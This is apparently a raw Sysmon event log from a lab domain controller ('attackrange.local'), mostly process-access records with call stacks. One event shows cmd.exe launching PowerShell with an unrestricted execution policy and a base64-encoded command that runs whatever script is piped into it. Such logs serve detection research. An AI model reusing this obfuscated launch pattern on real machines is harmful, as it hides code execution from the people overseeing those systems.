09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004099Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004098Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004097Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004096Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004095Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-291E-5F80-D100-000000007F01}13884960C:\Windows\system32\cmd.exe{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004094Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.280{A5F018FF-291E-5F80-D200-000000007F01}5108C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-291E-5F80-D100-000000007F01}1388C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000004093Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004092Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291E-5F80-D100-000000007F01}1388C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004091Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004090Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004089Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004088Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004087Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004086Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004085Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004084Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004083Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 